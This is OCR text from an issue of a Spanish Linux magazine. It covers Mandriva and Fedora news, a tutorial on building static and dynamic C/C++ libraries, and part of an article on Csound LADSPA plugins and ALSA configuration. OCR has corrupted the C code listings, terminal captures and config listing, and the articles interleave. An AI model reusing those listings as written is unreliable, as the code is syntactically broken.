0 Android, el sistema operativo libre de
Google basado en GNU/Linux, han demos-
trado que es la mejor forma de atraer nuevos
usuarios a un dispositivo o sistema, el ofrecer
una amplia variedad de software en un entor-
no amigable y sencillo. Al fin y al cabo, el
usuario de ese dispositivo lo que quiere son
programas Utiles y faciles de conseguir. Pare-
ce que esta misma idea la ha copiado Ubuntu
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y para Karmic Koala ya estd preparada la
primera version de Ubuntu Software Store,
una idea similar, que con el tiempo en versio-
nes futuras, ser4 el intercambio de Synaptic
y “Afiadir y quitar programas...”.

El interfaz y la forma de funcionamiento
exacta son todavia un misterio, pero espere-
mos que se consiga que sea lo mas amigable
porque sin lugar a dudas, el sélo ensefiarle
a un amigo: “Mira que facil instalo tal cosa”,
€s mas que una razén para comenzar a utili-
zar Ubuntu. Os dejo un boceto de cdmo sera
el aspecto grafico de Ubuntu Software Store.

Instwtied ooy wicolibgsd by s
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Mandriva hoy

| otro dia estaba leyendo una revista de

informatica y me encontré con un arti-
culo donde se comparaban varias distribucio-
nes de Linux, sin mucha esperanza miré por
si encontraba a Mandriva en la lista de esas
distribuciones y, caramba, ahi estaba, junto a
Ubuntu, OpenSUSE y Fedora.

Interesado comencé a leer el articulo
paraver anuestraqueridadistribucion. Des-
pués de una introduccion elogiosa hacia
GNU/Linux nos encontramos con el anali-
sis propiamente dicho y con esta frase: “la
calidad de todas ellas es excepcional y que
estan a la altura de cualquier otro sistema
operativo”, la cosa empezaba bien, luego
listaba las distribuciones en orden de re-
levancia y en Gltimo lugar se encontraba
Mandriva. Eso ya no me agradd tanto
pero como no sabia qué “relevancia” habia
utilizado segui leyendo. Posteriormente el
autor del articulo se refiere a Mandriva en
estos términos: “Mandriva es un desarrollo
ideal paraprincipiantes. Incluye todo lo ne-
cesario para que no nos tengamos que pre-
ocupar por nada, quiza es el mejor candi-
dato para un ordenador de sal6n. Sin em-
bargo, no aporta mucho en otros entornos
no cuenta con un soporte y una comunidad
como la de otras soluciones.”. Esta frase
resume los dos grandes tépicos que llevan
persiguiendo a Mandriva desde casi sus
origenes: Mandriva es sélo para princi-
piantes y no tiene una comunidad. VVeamos
si esto es cierto.

Respecto al primer planteo y desde
mi punto de vista, Mandriva es una distri-
bucién ideal para el usuario que se quiera
introducir en el mundo GNU/Linux. Es
facil de instalar y muy facil de administrar.
Creo que ese es uno de los puntos fuertes
de Mandriva, se instala y usa con la misma
facilidad que Ubuntu, por poner un ejem-

seccion llevada por Juan Gamez mandriva@lpmagazine.org Mandriva

plo, pero tiene una ventaja sobre el resto de
distribuciones, un panel de control que nos
permite administrar y personalizar nuestra
distribucion a todos los niveles, como prin-
cipiante dejando toda la configuracion en
manos de Mandriva a través de sus asisten-
tes y como usuario experto permitiéndonos
configurar manualmente todo aquello que
queramos. En resumen, Mandriva no es
una distribuciéon GNU/Linux de “juguete”
apta so6lo para principiantes, sino una dis-
tribucién completa, madura y potente que
nos facilita mucho el trabajo de instalacién
y configuracion pero que nos deja las manos
libres para que el usuario experto la confi-
gure al nivel que desee.

En cuanto al segundo apartado, el so-
porte y la comunidad, es evidente que la
comunidad Mandriva no es la mas numero-
sa del mundo GNU/Linux pero no por ello
debe de ser infravalorada, pero si entramos
en el foro en inglés de Mandriva veremos
que hay posteados unos 680.000 mensajes
y que hay 62.000 usuarios registrados, si
concretamos en la comunidad hispana, nos
encontramos 79.291 publicaciones en los
foros de Blogdrake (http://blogdrake.net/
forum), de ellos 67.755 se encuadran den-
tro del foro llamado Servicio Técnico, foro
donde se resuelven las dudas y problemas
de los usuarios, con gran efectividad y rapi-
dez por cierto.

Por todo ello creo que si bien la co-
munidad de Mandriva no es la mas grande
dentro del mundo GNU/Linux, posiblemen-
te sea una de las de mas calidad. Y yo perso-
nalmente valoro mas eso que el niamero.

En el apartado del soporte dado por Man-
driva a sus usuarios, éste se encuentra con-
centrado dentro de esta pagina: http://www.
mandriva.com/es/Bienvenido, alli podréis en-
contrar los enlaces hacia los foros, listas de co-
rreos, actualizaciones, canales IRC y wiki de
Mandriva. Este Gltimo lleno de informacion
y con actualizaciones frecuentes.

No sé si todo lo que os he contado ser-
viré para que cambie la vision que tuvierais
de Mandriva, pero yo seguiré defendiéndo-
la como una de las mejores distribuciones
GNU/Linux que existen, no solo por la
calidad del producto sino por la filosofia de
trabajo de la empresa, donde la satisfaccion
del usuario y la calidad del producto final
esta dentro de sus prioridades.

www.lpmagazine.org

novedades

Paguetes de Blogdrake

Se acaba de publicar el repositorio

de programas de Blogdrake. Este
repositorio se nutre de los programas
empaquetados por un grupo de usuarios
de Mandriva y que generosamente
ponen a disposicion de toda la comuni-
dad.

Podéis configurar estos repositorios
con las instrucciones dadas en el siguien-
te enlace: http://blogdrake.net/blog/
katnatek/repositorio-de-blogdrake

Mandriva 2010.0 beta
La andadura hacia Mandriva 2010.0
continua, y por ello ya esta disponible
Mandriva 2010.0 beta, la ltima etapa
antes de las versiones candidatas.
Os recordamos que esperamos la version
final de esta version de Mandriva para
comienzos de noviembre.
La version beta esta disponible en
versiones 32 y 64 bits, con escritorios
KDE y GNOME, pero solo en su edicion
ONE y con algunas traducciones todavia
pendientes. Algunas de las importantes
novedades en Mandriva 2010 Beta in-
cluyen:
* Plymounth reemplaza a Splashy
para manejar el boot splash.
* La herramienta Netprofile ha sido
completamente reescrita.
* La primera interface grafica para
Tomoyo.
 Python 3 en el repositorio contrib.
La version definitiva de Mandriva 2010
planea eliminar a KDE3 completamente
de sus repositorios.

Entrevista con Colin Guthrie

En el blog de Mandriva (http://
blog.mandriva.com), se ha publicado
una interesante entrevista con Colin
Guthie que, entre otras cosas, es el
mantenedor de pulseaudio. Tenéis
una traduccion de la entrevista en:
http://noticiasdrake.net/?p=131

|
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Fedora seccion levada por Diego Rivero Montes linux@Ipmagazine.org

Red Hat libera drivers para virtualizar
Windows en Linux

Red Hat, poco después de que la empresa de
las ventanas de colores nos sorprendiera con
la liberacion de cédigo, le ha dado la revan-
chay libera controladores que aumentan el
rendimiento de méaquinas Windows virtua-
lizadas sobre Linux usando KVVM. Una por
otra, quedamos en paz.

yum-presto

Esta es una de las nuevas herramientas que
trae nuestra distro en su version 11. Leonidas
trae consigo esta utilidad que permite, en

la mayor parte de las ocasiones, reducir el
tamafio de las actualizaciones. Es un plugin
para yum denominado presto.

La labor de este plugin consiste en bajar
Unicamente los deltarpms o sea sélo las
modificaciones del paquete en cuestion para
asi generar un nuevo paguete, por lo que se
consiguen dos ventajas, primero que se opti-
miza el uso del ancho de banda y segundo

y como consecuencia de lo anterior es que
se reduce el tiempo empleado. El ahorro en
muchos casos llega a magnitudes de entre
60% y 80%. Aunque esta disponible sin
ningun tipo de problemas en el repositorio,
presto no se halla instalado de serie, asi

que esta claro que deberemos proceder a su
instalacion antes de su uso. Tecleamos en la
consola:

yum install yum-presto

Y ya esta ahora podremos ver realmente
reducido el tiempo de descarga de actualiza-
ciones.

Yum Extender, Preview release

El pasado mes de agosto, concretamente

el dia 7, Tim Lau hizo publica la nueva
version preview de la futurible version
final de Yum Extender. Fue publicada en su
nuevo blog, aunque por supuesto también
se puede encontrar en el blog oficial de
‘Yum Extender, en el que nos cuenta las
ganas que tenfa de hacer pUblica la nueva
version aunque sea una preview. Segun se
comenta, las novedades son entre otras un
aumento sustancial de la velocidad con la
que realiza las tareas ademas de la decora-
cién ya que incluye nuevos iconos para las
categorias. También se puede hacer uso de
interfaces para gestionar los paquetes, asi
que si queremos podemos instalarlas con
los siguientes pasos:

Nos logueamos como root en una terminal:
sSu -

Ahora toca instalar las dependencias para
después poder instalar Yumex:

yum -y install python-enum pexpect
Y ahora instalamos el RPM con el siguiente
comando:

rpm -ivh http://timlau.
fedorapeople.org/files/yumex/yumex—
2.9.0-0.10.pre.fcll.noarch.rpm

Y listo. Ahora ya estamos en disposicion

de usar Yum Extender accediendo desde el
men( de KDE Aplicaciones->Sistema->Yum
Extender.

Sitio de Fedora

S e habla y se comenta que se han dado a
conacer los planes de los responsables del
sitio de Fedora en los que se esta barajando la
idea de cambiar el disefio del mismo o al me-
nos parece ser que hay un mockup en internet a
modo de propuesta para ser implementado en
fedoraprojet.org y get.fedoraproject.org.

Con untorrente de nuevas ideas, en las que
se vislumbran una nueva interfaz que se des-
glosa en secciones que daran toda la informa-
cion relativa a Fedora, entre las que podemos
destacar los widgets, como el Tour que nos da
una visién de como serd la distro mediante
capturas de pantallay otros de usabilidad. Tam-
bién encontramos otros tantos en los que los
usuarios dan testimonio del uso de Fedora asi
como las posibilidades que ofrece una distro
como Fedora a la hora de realizar diferentes
trabajos. Uno de los colaboradores del proyec-

Omega
S e trata de una nueva distro, por supuesto
esta basada en Fedora, pero en este caso
ademas de basarse en Leonidas, también ha es-
cogido el proyecto Remix de Fedora, para asi
ademas de ser compatible con la distribucion
base en si, se aseguran de adjuntar reproduc-
tores multimedia con sus codecs y otras actua-
lizaciones de paquetes y mucho mas software
del que nos podemos beneficiar.

At persiguiendo los mismos objetivos y fi-
losofia que Fedora, no se trata de un proyecto
que se incluya dentro de Fedora o su casa ma-
dre Red Hat, la gran diferencia estriba en que
el soft de Fedora Remix esta soportado ademas
por contribuidores externos o no oficiales que
pueden realizar aportaciones de software con

to Fedora ha sido el encargado de poner en su
blog y presentar el nuevo disefio.

Como decimos, de momento se trata Uni-
camente de un boceto al que seguramente ha-
bra que ir afiadiendo lo que se sugiera, ademas
también habrd que profundizar en el disefio
y los contenidos que habra de albergar el sitio
para que el usuario se encuentre cdmodo en él
y obtenga todo lo relativo a la distribucion,
ya se trate de informacion o el software que
necesite. Evidentemente este mockup sera me-
jorado en poco tiempo, asi que méas pronto que
tarde tendremos méas propuestas que los res-
ponsables de la distribucion habréan de evaluar
y aunar para que el sitio de Fedora tenga una
bonita a la vez que funcional interfaz.

Parece ser que la fecha definitiva del
lanzamiento de Fedora 12 sera el 3 de noviem-
bre... a la espera quedamos.

el objetivo de mejorar adn si cabe la distro. El
formato escogido es el de LiveCD instalable
para arquitecturas de 32 bits y la intencion ulti-
ma es ofrecer una distribucién muy completa,
es decir que lleve el software adicional para
que el usuario se encuentre mas cémodo aun,
en este caso se trata de Fedora Remix asi que
también se la denomina como Omega Remix.

Aunque podemos personalizarla a nuestro
gusto, la distro viene de fabrica con el escritorio
GNOME de la version 11 de Fedora, y como
ya hemos referido antes ha sido dotada de re-
productores multimedia como Mplayer o Xine
y sus codecs para que podamos disfrutar de lo
lindo, aunque como ya hemos dicho siempre
podemos realizar labor de "tunning".

10° Aniversario RHCE

L a certificacion de Red Hat es una de las
acreditaciones de mas prestigio mundial
en lo que a codigo abierto se refiere. Fue edi-
tada en el afio 1999 y el secreto de su éxito
y el hecho de que haya llegado hasta nuestros
dias no es fruto de la coincidencia, se trata del
resultado del esfuerzo y la experiencia a la hora
de proveer las capacidades a los profesionales
mediante el sistema de realizar la evaluacion
del rendimiento y la adquisicién de habilidades
necesarias a la hora de administrar el sistema
Red Hat Enterprise Linux. En la actualidad los
que poseen esta certificacion son unos treinta
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y ocho mil ingenieros. El rigor que Red Hat
ha impuesto en su certificacién hace que los
futuros ingenieros deban realizar instalaciones
y configuraciones de Red Hat Enterprise Linux
enel laboratorio los cuales seran sometidos a se-
veros examenes. Durante la vida de esta certi-
ficacion, hasta la actualidad, el control de cali-
dad realizado por la empresa, ha tenido como
resultado la obtencion de premios y reconoci-
mientos por todo el globo siendo el Gltimo
en llegar hasta el momento el IDC, situando
aRed Hat como Lider en el sector de las Tecno-
logias de la informacion.
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Bibliotecas en C/C++

En cualquier proyecto con cierta envergadura (programas no triviales) en C o C++

es ventajoso el uso de librerias. Esta practica permite separar problemas y ocultar

la complejidad de la implantacién. Otra ventaja es la posibilidad de reutilizar codigo
previamente desarrollado, acortando los tiempos de desarrollo y mejorando la calidad
global del producto final del ciclo de desarrollo.

n este articulo cubriremos las técnicas para
desarrollar y utilizar bibliotecas en progra-
masen Cy C++.

Tipos de bibliotecas

Entendemos por bibliotecas a conjuntos de subprogra-
mas, utilizados en el desarrollo de software. Los progra-
madores de lenguaje C estan acostumbrados a utilizar
en muchos de sus programas la Ilamada "biblioteca es-
tandar" la que invocan agregando la directiva de prepro-
cesador #include<stdio.h>. Esta practica permite com-
partir codigo y datos, asi como modificarlos en forma
modular.

Las bibliotecas estaticas son el tipo mas antiguo de
bibliotecas. Estas se enlazan a la aplicacion durante la
compilacion, formando parte del binario. Literalmente
son copiadas por el enlazador (linker). El enlazador es
responsable de resolver todas las referencias a llamadas y
saltos dentro del programa, codificando direcciones fisi-
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cas o relocalizables. Son las més simples de crear y utili-
zar. Presentan como desventaja el tamafio de los binarios,
asi como la necesidad de recompilar el mismo si se ac-
tualiza la biblioteca. A su favor podemos decir que ade-
més de ser simples de crear pueden ser Utiles para crear
binarios que seran redistribuidos a distintas distribucio-
nes de Linux, pues al haber sido enlazadas en el progra-
ma se evitan errores de dependencias. Esta practica es
frecuente en software comercial. Otra area de aplicacion
de este tipo de bibliotecas es en los llamados “utilitarios
del sistema”, nos referimos a los comandos més basicos
(Is, cd ...). En muchas distribuciones y discos de rescate
estos programas estdn compilados contra bibliotecas
estaticas.

Las bibliotecas dindmicas por su parte son referencia-
das durante la compilacion, generando binarios mas pe-
quefios. Durante la ejecucidn el sistema operativo enlazar
la biblioteca. Tenemos en este caso dos modalidades de
enlace, previo al tiempo de ejecucién o durante la ejecu-
cion de la misma. Ademas de reducir el tamafio de los bi-



narios estas bibliotecas presentan como ven-
taja que se reduce la redundancia de cédigo.
Las bibliotecas estan almacenadas una sola
vez, y todos los programas que las utilizan se
aprovechan de éstas. Si se quisiera actualizar
una biblioteca basta con cambiar el archivo
y todos los programas que la utilizan se bene-
fician del cambio.

Deciamos en el parrafo anterior que es
posible enlazar bibliotecas en tiempo de
ejecucion. Esto es muy comun en los plu-
gins. Aqui es usual sustituir una biblioteca
por otra, con idéntica interfaz pero distinta
funcionalidad. Es bien conocida esta funcio-
nalidad por los usuarios del paquete grafico
THE GIMP.

Convenciones

de nombres

Es usual que el nombre de una biblioteca co-
mience con el prefijo "lib". Sin embargo cuan-
do le pasamos parametros al compilador in-
forméndole las bibliotecas a utilizar.

Para fijar ideas: en una aplicacién que-
remos utilizar funciones matematicas, por lo
que la enlazaremos contra la biblioteca mate-
matica (libm.a). La linea de compilacion de
nuestro programa sera similar a esta: gcc src-
Sfile.c -Im -Ipthread.

Creando una biblioteca
estatica

La primera aproximacion a este tema la ha-
remos creando una biblioteca estatica con
dos funciones, que luego enlazaremos en
un programa de ejemplo. Es de destacar
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/* Archivo fl.c */
#include <stdio.h>
void f1(void)

printf("'Esta es f1\n");

/* Archivo f2.c */
void f2(void)
printf("'Esta es f2\n");

#include <stdio.h>
void fi(void);
void f2(void);

int mainQ)

f10:;
20);

return O;

Listado 1. Funciones de ejemplo para crear una libreria

Listado 2. Funciones de ejemplo para crear una libreria

que nuestras bibliotecas estaticas podrian
a su vez formar parte de otras bibliotecas es-
taticas, que luego seran enlazadas a un prog-
rama.

El proceso de creacion de la biblioteca
es simple y rapido: compilamos los fuentes

Esta es f2

@ roal: bash

File Edit View Scrolback Bookmarks Settings Help

ar -cvq libejemplo.a fl o f2.0

cc -¢ fl.c f2.¢
Ea - fl.o
ia - 12.0
| 1% - kB¢ # ar -t libejemplo.a
ifl.D
1£2. 0
cc -0 test test.
W= K ftest
Esta es fl

& oot pash

¢ libejemplo.a

Figura 1. Compilacidn de una biblioteca estatica y un programa de ejemplo

www.lpmagazine.org

que integraran la biblioteca con el switch -c,
pues no enlazaremos. Luego invocando el co-
mando ar creamos la biblioteca. Para utilizar-
la desde uno de nuestros programas la linea
de ejecucion del compilador sera algo del
estilo: cc -o ejecutable prog.c libctest.a. Otra
alternativa es pasarle al compilador el direc-
torio donde tenemos las bibliotecas ya com-
piladas, aqui la invocacion seria similar a esta:
cc -o ejecutable prog.c -L/path/a/librerias -
Ictest.

En detalle el proceso de compilar la bi-
blioteca y enlazarla con el programa de ejem-

plo seria asi:

*  Compilar las funciones: cc -Wall -c fl.c
f2.c. Si la compilacién termina sin erro-
res tendremos dos archivos llamados res-
pectivamente /7.0 y f2.o0.

*  Crear la biblioteca estatica "libejemplo.a":
ar -cvq libejemplo.a fl.0 f2.0

e Compilar el programa que utiliza la bi-
blioteca: cc -o test test.c libejemplo.a

Si quisiéramos ver el contenido de la biblio-
teca luego de correr ar, podemos ejecutar:
ar -t libejemplo.a

17
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Bibliotecas dindmicas

Como deciamos al comienzo las bibliote-
cas dinamicas son cargadas por los prog-
ramas en el inicio de la ejecucion. Luego
que un programa carga la biblioteca los sub-
secuentes programas que la utilicen usaran
la que esta cargada en memoria, ahorrando
memoria y reduciendo el tiempo de carga.
Para poder sacar partido de las ventajas que
se obtienen usando bibliotecas dindmicas
es necesario respetar una serie de conven-
ciones y directivas a la hora de elegir nom-
bres.

La primera parte de compilar una biblio-
teca es compilar los fuentes que la integraran
con la directiva -fPIC. Luego creamos la
biblioteca dindmica invocando el compilador
¢ con el siguiente formato: gcc -shared -Wi,-
soname, elsoname -o nombre_biblioteca
objetos.

Luego de compilada la biblioteca ten-
dremos que instalarla para poder utilizarla.
Paraesto lo mas simple es copiarlaal direc-
torio estandar (/usr/lib) y luego correr
ldconfig. En la Figura 2 se puede ver en
detalle la compilacion de las funciones de
ejemplo que desarrollamos mas arriba, aho-
ra compiladas como bibliotecas dinami-
cas. Es necesario hacer la salvedad de que
se esté trabajando en un sistema de 64 bits,
por lo que en sistemas de 32 bits debe-
riamos copiar a los directorios correspon-
dientes.

Dado el caso de que una aplicacion
necesite usar ciertas bibliotecas, que no
estan en la ubicacion estandar, por ejem-
plo si quisiéramos correr un programa con
las bibliotecas que estan en el directorio
actual lo invocariamos de la siguiente
forma:

Listado 3. Script para correr un programa con versiones especificas de librerias

#1/bin/sh
export LD_LIBRARY_PATH=/usr/local/mislibrerias:$LD_L IBRARY_PATH
exec /usr/bin/mi_programa.orig $*

Listado 4. Ejemplo de biblioteca dindmica con carga dindmica

#include <stdlib.h>
#include <stdio.h>
#include <dlfcn._h>
# Compilar: gcc -o testdl test.c -I1dl
int main(int argc, char **argv)
void *handle;
double (*cosine)(double);
char *error;
handle = dlopen (**/lib/libm.so.6", RTLD_LAZY);
it (handle)
fputs (dlerror(), stderr);
exit(1l);

cosine = dlsym(handle, *'cos");
ifT (Cerror = dlerror()) != NULL)

fputs(error, stderr);
exit(l);

printf ("%f\n", (*cosine)(2.0));
diclose(handle);

Listado 5. Ejemplo de uso de la directiva EXTERN

extern "C"

int funcion_en_c();

Fiz Edi ‘View  Somolback Bochmacks Ssings el
goc -Wall -fPIC -2 T4

ldcanmig -n Fute/LibEd

15 =1la fusr/libEds Tibprusha®

Fool 14 fep 7 LE:47

1} 16 Sep T 1E:4]
550 & T 1642

¢ -iprusha

lrwarwaries 1 Fool
Irwurwarws | root
“FwEr-af-% 1 reot

| ({4

|
Esla a5 Tl
Esla es 12

| 3 ool bash
4

ESC =shared -Wl,-soname, Libprusha. so.l

g0, 0 = [Da@S00TFTIRETS IE00)

0.1 & fusr/libGd/ibprusba, $0.1 [ Ox 00007 T80 0ER: 5030 )
MIBEL/1BE g0 & (OxOO00T FEJORET 1000 )

AE=Ed 50,2 {OwD000T TEI0ALC 00D )

LD_LIBRARY_PATH=.:
Al $LD_LIBRARY_PATH programa
¢ bproska.se.1.8 T4.0 |
Una de las ventajas del uso de bibliotecas
dindmicas es la posibilidad de actualizar
las bibliotecas para todas las aplicaciones
que las utilizan. Si hubiera un cambio en la
API esto deberia verse reflejado en el "so-
name" de la biblioteca (el soname contiene
el nimero de version). De esta forma pue-
den coexistir en el mismo sistema multiples
versiones de una misma biblioteca, cargan-
do cada programa la correcta para su fun-
cionamiento.

En la eventualidad de que un programa
necesite correr una version vieja de una libre-

£ ¥

Figura 2. Compilacién de una biblioteca dindmica y un programa de ejemplo

ria, que si estuviera en la ubicacién estandar
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afectaria el funcionamiento de otros progra-
mas, podemos recurrir a un script para eje-
cutar el programa viejo. El script de ejemplo
queda en el listado 3.

Bibliotecas dindmicas
incompatibles

Una nueva version de una biblioteca puede
no ser compatible con las versiones previas,
se hace necesario un cambio de soname. En
el lenguaje C hay cuatro razones principales
por las que podria darse esto:

e Cambio en el comportamiento de una
funcion,
e Cambios en datos exportados por la

e hacer una funcion publica o protected
inline,

e cambiar la tarea de una funcion inline,
salvo que la version previa siga funcio-
nando,

e cambiar los permisos de acceso de una
funcioén (de publica a privada).

Por estas razones los desarrolladores C++
deben planear bien los cambios a las libre-
rias, si desean mantener la compatibilidad
de binarios entre distintas versiones. Como
se mencionaba mas arriba siempre esta la
posibilidad de hacer correr los programas
que asi lo requieran con versiones viejas de
las librerias.

implementan esta funcionalidad de distinta
forma.

Carga dindmica

de clases en C++

Como comentabamos al principio al progra-
mar en C++ deberemos tener algunos cui-
dados especiales. Especificamente si quere-
mos que las funciones que escribamos en C
corran en C++ deberemos usar la directiva
EXTERN "C" para indicarle al compilador
como tratar estas funciones.

Otro punto a tener en cuenta es la im-
plantacién de constructores y destructores
en las clases. La sobrecarga de funciones
podria jugar malas pasadas.

libreria,
- Unafuncion fue removida de labiblio- Bibliotecas Dinamicas Conclusiones
teca, con carga dindmica Este articulo es un primer contacto con las

» La interfaz de una de las funciones ex-
portadas ha cambiado.

Cualquiera de las situaciones que se mencio-
nan arriba pueden hacer que una nueva ver-
sion de la biblioteca no tenga compatibilidad
binaria con las anteriores.

La situacion en C++ es mas comprometi-
da. Ademés de los casos mencionados arriba
se agregan los siguientes:

* reimplementacion de funciones virtuales,

« cambios en los atributos de objetos,

e cambios en la jerarquia de clases, a ex-
cepcion de agregar nuevos hijos,

e agregar o remover datos privados,

« remover funciones publicas o protected
de un objeto, salvo funciones inline,

D
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Un caso particular que requiere tratamiento
especial es el de las bibliotecas dindmicas
con carga dindmica (dinamic shared libra-
ries). En este tipo de bibliotecas durante la
ejecucion se carga la misma, siendo posible
remplazarla por otra con funcionalidades
similares.

En el listado 4 tenemos un programa
de ejemplo de carga dindmica de una bi-
blioteca. Este programa carga la biblioteca
matematica y calcula el coseno de 2.0.

Es de destacar que la implementacién
de bibliotecas dindmicas con carga dindmi-
caen Linux es muy parecida a la de Solaris,
facilitando la tarea de portar a este sistema
operativo. Sin embargo si queremos hacer
aplicaciones portables deberemos tomar
recaudos, pues distintos sistemas UNIX
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Plugins Csound
en Linux

Daniel Mellado Area, Lino Garcia Morales

Mucha gente se pregunta, ya no tanto si es posible la produccion de audio en un sistema basado en
software libre, sino su capacidad de trabajo, tanto a nivel de grabacion, mezcla y postproduccion.
Todo ello son procesos compuestos por mddulos independientes (de tratamiento de sefial, por
ejemplo, tipicamente implementados en plugins) que requieren de un eficaz enrutamiento del audio
de manera facil y sencilla. Csound es un lenguaje de sintesis musical desarrollado por Barry Vercoe
en el MIT orientado a crear, editar, analizar y componer musica y sonido.

a construccion de efectos musicales en Csound
no requiere de arduos procesos de compilacion
y codificacion: es interpretado y simple. LA-
DSPA es un formato de plugins pero, lo mas
interesante, es que permite utilizar codigo Csound, a través
de csLADSPA, para su implementacion. En este articulo se
muestran los pasos y conceptos necesarios para integrar
madulos de efectos Csound en cualquier aplicacion mu-

sical Linux.

Introduccion

Csound (http://www.csounds.com) es un lenguaje de
programacion muy potente. La gracia de utilizar Csound
es que permite programar cualquier tipo de algoritmo de
procesado (ademas del gran nimero de implementaciones
disponibles) en un lenguaje de tipo script Interpretado. Es-
to facilita el uso de plugins a medida programandolos con
un lenguaje de muy alto nivel y potencia como Csound.
Afortunadamente a través de csLADSPA se pueden cons-
truir plugins Csound y utilizarlos en cualquier aplicacién
de sonido. Pero antes de describir como llegar a esto es
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necesario preparar Linux y aclarar un poco los conceptos

involucrados en el proceso.

Arquitecturas de Sonido en Linux

En Linux coexisten dos grandes arquitecturas para manipu-
lar el sonido: OSS (Open Sound System) y ALSA (Advan-
ced Linux Sound Architecture) que soportan un gran niimero
de plataformas como se puede apreciar en la Figura 1.

Estas librerias de mayor nivel se pueden llamar unas a
otras, a veces de manera circular. Una libreria A soporta el
envio de audio a través de OSS y ALSA simultdneamente,
lo mismo que una libreria B, pero la libreria A tiene un
wrapper o contenedor para enviar audio a través de la li-
breria B, y viceversa. Debido a esta posibilidad, tanto AL-
SA como OSS tienen capas de emulacion para cada una.

OSS. Desarrollado en 1992 por Hannu Savolainen,
constituyo el primer intento de unificar los diferentes sis-
temas de sonido que habia hasta aquel momento. Se utili-
z0 hasta el Kernel 2.4. A partir del 2.5 en adelante se mar-
¢6 OSS como DEPRECATED (en desuso) y se sustituyo
por ALSA.



Figura 1. Arquitecturas de sonido en Linux

OSS fue disefiado en unos tiempos en los
que la tarjeta mas comun y de mas calidad era
la SoundBlaster 16, de Creative Labs. Hasta
la aparicion de OSS, cada vendedor de UNIX
tenia su propia API (Application Program-
ming Interface); un conjunto de funciones,
procedimientos o métodos que ofrece una
libreria. Esto implica que las aplicaciones es-
critas para una version en concreto no funcio-
naban directamente en otra, sino que tenian
que ser reescritas cada vez. Las aplicaciones
que empezaron a usar la API de OSS no te-
nian este problema, se escribian una vez y
funcionaban en cualquier sistema que sopor-
tara OSS, independientemente de la version
de UNIX.

La gran asignatura pendiente de OSS fue
la mezcla de sonido. OSS fue disefiado para
las primeras tarjetas de sonido que mezclaban,
via hardware, por su cuenta; sin embargo, en
la evolucion de las tarjetas de sonido se elimi-
no la parte hardware que controlaba la mezcla
y se implement6 via software. En OSS esto
significo directamente perder la capacidad de
mezcla de audio. Para solucionarlo se crearon
nuevas arquitecturas de sonido con la idea de
que realizaran la mezcla antes de mandarla a
la capa inferior, es decir, a OSS. Se cre6 aRts
para el sistema de escritorio KDE, y ESD
para Enlightenment/GNOME. El nuevo prob-
lema que surgiod es que no se puede tener aRts
y ESD funcionando simultdneamente y no to-
das las aplicaciones soportaban el uso de los
dos sistemas, con lo que se solucioné unica-
mente de forma parcial. Finalmente, se acaba-
ron desarrollando nuevas capas (como SDL,

N

libao o libao2) que incluian a las anteriores.
Esto, unido a que OSS paso a ser de pago,
ofreciendo nuevas funcionalidades que la
mayoria de usuarios no necesitaban, provocod
la aparicion de un nuevo sistema de sonido,
escrito desde cero: ALSA.

ALSA. Desarrollado en 1998 por Jaros-
lav Kysela. Desplazé a OSS 'y, por fin, inclu-
y6 un mezclador, el AlsaMixer. ALSA tiene
también una emulacion de OSS, que permite
seguir programando igual que antes (de he-
cho, hay quien dice que ALSA funciona me-
jor emulando OSS que de forma normal).

Configuracion

La configuracion de tarjetas de sonido se rea-
liza generalmente de forma automatica, aun-
que, si no funcionase, siempre es posible ha-

Tabla 1. Informacion basica de un plugin csLADSPA
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LADGPA Host

v
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Figura 2. Modelo de encaminamiento de csSLADSPA

cerla manualmente mediante el comando alsa-
conf; que pregunta acerca del tipo de tarjeta
y muestra el listado de los controladores dis-
ponibles. Ciertas interfaces necesitan también
el uso de un firmware (programa que estable-
ce la logica a bajo nivel del dispositivo) pro-
pietario, que puede ser descargado utilizando
el paquete alsa-firmware.

La mezcla en ALSA se divide en dos
tipos:

« Hardware. Al igual que en OSS, la tarje-
ta fisica se encarga de la gestion.

¢ Software. Se realiza por medio del plu-
gin dmix; que crea una tarjeta virtual de
sonido y se encarga de la mezcla. Una
aplicacion de ALSA bien disefiada no se
comunica directamente con los médu-
los del Kernel, sino que deja esta tarea
a la libreria alsa-lib. Asi, la comunica-
cion queda: APLICACION->ALSA-LIB
->KERNEL.

Para configurar la mezcla por software, y en
general, para cualquier configuracion avanza-
da, se debe crear un fichero .asoundrc similar
al del Listado 1.

ALSA llama a los dispositivos hw:i,j,
donde i es el nimero de la tarjeta y j es el
dispositivo en ésta. El primer dispositivo de

Name

Nombre del plugin tal y como aparece en la aplicacion.

UniquelD

Identificacion numérica Unica a cada plugin.

Tabla 2. Informacién para controlar pardmetros de un plugin csLADSPA

ControlPort

Nombre del control como aparece cuando se esta ejecutando y nombre del canal

de donde Csound va a coger los datos. Los dos nombres deben ir separados por

el simbolo '|'.

www.lpmagazine.org
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sonido es hw:0,0. Los plugins usan otro tipo
de denominacion; plughw:, por ejemplo, es
un plugin que provee acceso a los dispositi-
vos hardware pero aflade una serie de carac-
teristicas, como conversion de frecuencia de
muestreo, bajo software, para las tarjetas que
no soportan nativamente esta operacion.

El API de ALSA se puede diferenciar en
distintas interfaces:

e Control. Sistema de proposito general
para gestionar referencias de tarjetas de
sonido y encolar los dispositivos dispo-
nibles.

referencia directa a tarjetaVirtual.

pcm.my_card
type hw
card 0
# mmap_emulation true
pcm.dmixed
type dmix
ipc_key 1024
# 1pc_key_add uid false

# 1pc_perm 0666
slave

pcm "my_card™

# rate 48000

# period_size 512

pcm.dsnooped

type dsnoop
ipc_key 2048
slave

pcm "my_card™
# rate 48000

# period_size 128

pcm.tarjetaVirtual

type asym

playback.pcm "dmixed"
capture.pcm ‘‘dsnooped™
pcm.ptarjetaVirtual

type plug

slave._pcm *"tarjetaVirtual®
pcm.dsp0

type plug
slave.pcm *“"tarjetaVirtual™
Idefault

type plug
slave.pcm

pcm.

“tarjetaVirtual®

Listado 1. Creacion de una tarjeta de sonido virtual tarjetaVirtual, capaz de mezclar mediante dmix.
Para obtener ademas conversion automatica de frecuencia de muestreo y otras caracteristicas,

se define también pTarjetaVirtual, que hace uso del mddulo de ALSA plug. pcm.!default sirve para
definir el dispositivo por defecto a utilizar por todas las aplicaciones ALSA. En este caso es una

# permite usar tarjeta con varios
usuarios

# establece permisos para compartir
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* PCM. Para gestionar la reproduccion
y captura del audio digital.

* MIDI. Provee soporte a MIDI (Musical
Instrument Digital Interface), un estan-
dar para instrumentos musicales elec-
trénicos. Funciona directamente con los
eventos MIDI.

»  Control de Tiempo. Da acceso al hardware
de control de tiempo en las tarjetas de
